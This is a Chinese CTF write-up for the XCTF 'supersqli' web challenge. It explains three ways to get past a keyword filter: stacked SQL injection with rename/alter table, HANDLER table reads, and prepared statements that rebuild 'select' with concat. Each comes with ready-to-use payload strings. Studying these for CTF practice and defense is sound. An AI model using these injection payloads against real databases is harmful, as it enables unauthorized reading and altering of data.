zoukankan      html  css  js  c++  java
  • 攻防世界-Web进阶-supersqli

    很久之前做的题目了,现在拿到有点想不起来,记一下方法

    其一:堆叠注入(rename+alter)

    rename:修改表名

    格式:rename tables 原表名 to 新表名;

    alter:修改表名或字段;

    格式:修改表名:alter tables 原表名 rename 新表名;

    修改字段,如增删改:

    增:alter table 表名 add 要增加的字段名 类型;删:alter table 表名 drop 要删除的字段名;

    改:alter table 表名 change 原字段名 新字段名 类型;

    这题首先过滤了select|update|delete|drop|insert|where

    ①1';show tables;#

    ②1';show columns from words;#

    ③1';show columns from 1919810931114514;# 注:以纯数字为表名的,操作时要加反引号`

    ④1';rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);#

    else:1';rename tables words to words1;rename tables 1919810931114514 to words; alter table words add id varchar(100);#

    构造后的结构:

    解释:可以判断出words是默认查询的表,且inject的值是赋给了id,所以要将flag所在表名改为words,并且把flag字段改为id,或者增加id字段,最后构造一个万能密码

    其二:handler查询语句

    基本语法:

    通过HANDLER table_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为table_name的句柄。
    通过HANDLER table_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
    通过HANDLER table_name CLOSE来关闭打开的句柄。

    前面探索表名、字段的过程就省略了
    1';handler 1919810931114514 open;handler 1919810931114514 read first;handler 1919810931114514 close;#

    适用:知道表,部分查询被过滤,可以直接用handler查看表的内容

    其三:预编译

    详情可以参考:https://www.cnblogs.com/micrari/p/7112781.html

    这里记一下简单理解,所谓预编译语句就是将反复执行的SQL语句或者语句中相同的部分的值用占位符(?)替代,可以视为将sql语句模板化或者说参数化

    方法:

    PREPARE - 准备执行的声明。
    EXECUTE - 执行由PREPARE语句定义的语句。
    举个栗子:prepare ins from 'insert into t select ?,?';execute ins;
    具体:

    1';sEt @sql = concat('sele','ct * from 1919810931114514;');prEpare smt from @sql;execute smt;#

    解释:set就不用解释了,@后面的字符串是自定义的前后一致即可,concat是拼接里面的字符串,如concat('str1','str2')结果就是str1str2,smt是自定义,前后一致即可

  • 相关阅读:
    重装fedora17之后的一些配置
    virtualbox中安装3D支持
    Win8下Qualcomm Atheros AR9285网卡改mac
    Android应用【世界杯知识答题】的界面设计经验
    Android应用【世界杯风云2010】的界面设计经验小结
    html基础知识层级选择器
    html基础知识,两种引入css样式方式
    html结构伪类选择器
    html基础知识表格标签(form,input)
    html基础知识(三种颜色写法)
  • 原文地址:https://www.cnblogs.com/Web-Fresher/p/13723308.html
Copyright © 2011-2022 走看看